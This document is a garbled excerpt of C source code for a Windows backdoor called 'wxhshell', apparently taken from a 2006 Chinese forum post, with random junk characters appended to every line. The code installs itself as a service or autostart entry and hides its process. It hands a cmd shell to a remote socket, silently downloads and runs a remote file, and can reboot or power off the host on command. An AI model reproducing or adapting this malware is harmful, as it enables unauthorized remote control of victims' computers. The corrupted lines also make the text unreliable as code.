  } UXm_-/&b9  
  else { -hd  
]'.qRTz'\t  
    switch(cmd[0]) { \CB^9-V3  
  !np_B0`  
  // 帮助 l6M?[  
  case '?': { ,=/9Ld2w9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Py\Cp=Dw  
    break; Sd+5Uf `  
  } qv!(In>u  
  // 安装 <=(K'eqC^  
  case 'i': { 7 N}@zPAZ  
    if(Install()) 7Cz~nin>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26V6Y2X  
    else corm'AJ/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xUJ(tG3  
    break; (zhZ}C,VF  
    } vNO&0~  
  // 卸载 Gp9 <LB\,  
  case 'r': { }m:paB"3  
    if(Uninstall()) pb!2G/,.[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~-:  
    else ~OD6K`s3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]LE,4[VxRz  
    break; 1k[_DQ=^l1  
    } Z+xkN  
  // 显示 wxhshell 所在路径 z)Rkd0/X  
  case 'p': { %bcf% 7  
    char svExeFile[MAX_PATH]; 1[P}D~ nQ  
    strcpy(svExeFile,"\n\r"); pa-*&p  
      strcat(svExeFile,ExeFile); D#GuF~-F!R  
        send(wsh,svExeFile,strlen(svExeFile),0); g#S X$k-O  
    break; GT6; I7  
    } j{C~wy!J  
  // 重启 >+O0W)g{o  
  case 'b': { '}cSBbl&/n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u`ir(JIj]  
    if(Boot(REBOOT)) $z=a+t *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d*Q{v~3  
    else { =dXHQU&Q  
    closesocket(wsh); )nd^@G^  
    ExitThread(0); vJE=H9E  
    } *|&Y ,H?  
    break; g *5_m(H  
    } 2dts}G  
  // 关机 u#6s^ )W  
  case 'd': { [s}W47N1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wgz]R  
    if(Boot(SHUTDOWN)) Zpd-ob  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o='Q)Dk  
    else { E:` _P+2p  
    closesocket(wsh); GMU!GSY  
    ExitThread(0); \`.v8C>vG  
    } &r,vD,  
    break; Zma;An6  
    } C(>!?-.  
  // 获取shell [8u9q.IZ  
  case 's': { y&\4Wr9m  
    CmdShell(wsh); 2Z; !N37U  
    closesocket(wsh); >s<Bu'r  
    ExitThread(0); :7{GOx  
    break; |5>Tf6 $(  
  } D#nHg  
  // 退出 <Zva  
  case 'x': { 6 ;'s9s"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8UB2 du@?  
    CloseIt(wsh); 'IU3Xu[-.  
    break; jHEP1rNHE  
    } `8ob Xb  
  // 离开 lhM5a \  
  case 'q': { RFM;?!S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A6z2KVk  
    closesocket(wsh); S{llpp{E  
    WSACleanup(); 1 -Z&/3T]  
    exit(1); ?0)K[Kd'Y  
    break; 4(8c L?J`0  
        } UDHOcb  
  } nw+t!C  
  } Sr+hB>{  
=1Plu5  
  // 提示信息 vhMoCLb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nscnG5'{+  
} 5,xPB5pK  
  } +B{u,xgg  
oVK?lQ~y  
  return; +*OAClt+]  
} E"}%$=yK  
WOPIF~1v  
// shell模块句柄 CLND[gc  
int CmdShell(SOCKET sock) Q``1^E'  
{ OcB&6!1u  
STARTUPINFO si; ;$tdn?|  
ZeroMemory(&si,sizeof(si)); @de  ZZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pZ Uy (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z71_D  
PROCESS_INFORMATION ProcessInfo; {~&]  
char cmdline[]="cmd"; IlF_g`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X$<pt,}%  
  return 0; U_jW5mgsG  
} S))B^).0-  
vdXi'<  
// 自身启动模式 \HxF?i "   
int StartFromService(void) RZEq@q  
{ zMepF]V  
typedef struct N75U.;U0  
{ <j,I@%  
  DWORD ExitStatus; HFB>0<$  
  DWORD PebBaseAddress; e'~Qe_  
  DWORD AffinityMask; q AVypP?J  
  DWORD BasePriority; |>P:R4P  
  ULONG UniqueProcessId; [ `|t(E'  
  ULONG InheritedFromUniqueProcessId; /#5rt&q  
}   PROCESS_BASIC_INFORMATION; I!b"Rv=Nf-  
ju:}%'  
PROCNTQSIP NtQueryInformationProcess; / 1TK+E$  
Dj= {%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; : xg J2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;\"5)S  
5%wA"_  
  HANDLE             hProcess; 9t`yv@.>N  
  PROCESS_BASIC_INFORMATION pbi; ty[%:eG#  
Ud"_[JtGM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <|'ETqP<+  
  if(NULL == hInst ) return 0; ,or;8aYc#  
[-`s`g-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (4z_2a(Dl,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =f@71D1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2cu2S"r  
=H: N!!:  
  if (!NtQueryInformationProcess) return 0; LQqba4$  
 irh Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2K3j3|T  
  if(!hProcess) return 0; Sc3{Y+g  
m, +E5^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K}q5,P(  
},<Y \  
  CloseHandle(hProcess); ZC$u8$+P  
n[BYBg1yG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W rT_7  
if(hProcess==NULL) return 0; alxIc.[  
'"q+[zwv  
HMODULE hMod; Li8/GoJW-T  
char procName[255]; f x:vhEX  
unsigned long cbNeeded; U4Zx1ieCKH  
HI1|~hOb'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /g0' +DP  
<bn|ni|c"  
  CloseHandle(hProcess); 7aRy])x  
;Ym6ey0t  
if(strstr(procName,"services")) return 1; // 以服务启动  Z a,o  
0(C[][a*u  
  return 0; // 注册表启动 (gdzgLHy  
} UQI!/6F  
d:Z|It  
// 主模块 )-XD= ]  
int StartWxhshell(LPSTR lpCmdLine) 8xj_)=(sV!  
{ eVj 8u  
  SOCKET wsl; o7gZc/?n  
BOOL val=TRUE; F:Vl\YZ  
  int port=0; , iEGf-!k  
  struct sockaddr_in door; 3Zz_wr6  
sw$JY}Q8x  
  if(wscfg.ws_autoins) Install(); MB5V$toC  
>!PM5%G  
port=atoi(lpCmdLine); mE+=H]`.p  
PMiu "  
if(port<=0) port=wscfg.ws_port; ?mi}S${g  
`&)  
  WSADATA data; 7lOAu]Zx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q=<&ew  
u3cg&lEgT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >7?Lq<H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0/fwAp  
  door.sin_family = AF_INET; F&k<P>k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W;X:U.  
  door.sin_port = htons(port); u9 *ic~Nh  
G=Xas"|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5a5JOl$8  
closesocket(wsl); @Rd`/S@  
return 1; E)'T;%  
} uw>y*OLU+  
mmC MsBfL  
  if(listen(wsl,2) == INVALID_SOCKET) { X#W6;?Z\  
closesocket(wsl); B|>eKI  
return 1; uYE"O UNWL  
} QVb{+`.7  
  Wxhshell(wsl); BL0xSNE**  
  WSACleanup(); kT^`j^Jr  
? _[ q{i{  
return 0; H_iQR9Ak7  
?U:c\TA,m  
} @q|c|X:I  
(6)|v S  
// 以NT服务方式启动 Rs'mk6+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vN6)Szim  
{ (^ J2(  
DWORD   status = 0; 7*+tG7I @  
  DWORD   specificError = 0xfffffff; T[ zEAj  
\  6Y%z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6m9\0)R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DI :  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `'rvDaP  
  serviceStatus.dwWin32ExitCode     = 0; xM&`>`;^e  
  serviceStatus.dwServiceSpecificExitCode = 0; 4SkCV  
  serviceStatus.dwCheckPoint       = 0; EBmkKiI;  
  serviceStatus.dwWaitHint       = 0; ?;rRR48T9E  
9:!V":8q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >(gbUW  
  if (hServiceStatusHandle==0) return; B .?@VF  
t4zKI~cO  
status = GetLastError(); PTF|"^k+   
  if (status!=NO_ERROR) [L2N[vy;  
{ f 0/q{*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9KL)5_6 M  
    serviceStatus.dwCheckPoint       = 0; tac_MtW?  
    serviceStatus.dwWaitHint       = 0; `:gXQmt  
    serviceStatus.dwWin32ExitCode     = status; UE/iq\a>  
    serviceStatus.dwServiceSpecificExitCode = specificError; oJc v D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Bsvk9}  
    return; @ &GA0;q0t  
  } ~. 5[  
dY?>:ce  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1mv8[^pF  
  serviceStatus.dwCheckPoint       = 0; <@c9S,@t  
  serviceStatus.dwWaitHint       = 0; Jb!s#g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @i>4k  
} KpKZiUQm  
1?y QjW,  
// 处理NT服务事件,比如:启动、停止 AHplvksb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _10I0Z0  
{ |Mnc0Fgvy,  
switch(fdwControl) 8$ _8Yva"e  
{ %G, d&%f  
case SERVICE_CONTROL_STOP: 0[-@<w ^j  
  serviceStatus.dwWin32ExitCode = 0; `9DW}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cw;TIx_q  
  serviceStatus.dwCheckPoint   = 0; \`?4PQ  
  serviceStatus.dwWaitHint     = 0; |zp}u(N  
  { IP#qT `=}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <[z9*Tm  
  } 6 Znt   
  return; {u$<-W-&  
case SERVICE_CONTROL_PAUSE: l Ztw[c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #@cEJV;5"  
  break; zE=^}K+  
case SERVICE_CONTROL_CONTINUE: h(FFG%H(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z"9D1Uk  
  break; Oz5Ze/HBN  
case SERVICE_CONTROL_INTERROGATE: i7O8f^|  
  break; 1{CVd m<9  
}; nhB.>ReAi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TdrRg''@  
} m>^#:JK  
BKfoeN)%  
// 标准应用程序主函数 ?fvK<0S`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 810uxw{\  
{ Nf9$q| %!  
%xwtG:IKEV  
// 获取操作系统版本 j>O!|V  
OsIsNt=GetOsVer(); o=Kd9I#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KD8,a+GL  
hx!hI1   
  // 从命令行安装 RxGZ#!j/  
  if(strpbrk(lpCmdLine,"iI")) Install(); s,8g^aF4  
SuJ4)f;'0  
  // 下载执行文件 "tU,.U  
if(wscfg.ws_downexe) { *qw//W   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bP1]:^ x@W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?_@Mg\Hc  
} Wo/LrCg  
y.WEO>   
if(!OsIsNt) { 9y;8JO  
// 如果时win9x,隐藏进程并且设置为注册表启动 }N#hg>; B  
HideProc(); QzD8 jk#  
StartWxhshell(lpCmdLine); 'zx1kq1  
} `;3fnTI:1  
else ()EiBl(kWk  
  if(StartFromService()) b[my5O l  
  // 以服务方式启动 ka| 8 _C^z  
  StartServiceCtrlDispatcher(DispatchTable); FrQRHbp3  
else `j(-y`fo  
  // 普通方式启动 uVLKR PY  
  StartWxhshell(lpCmdLine); 9Z.W R-}  
{GQRJ8m  
return 0; %g=SkQ&d  
}
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只看该作者 1 发表于: 2006-10-10
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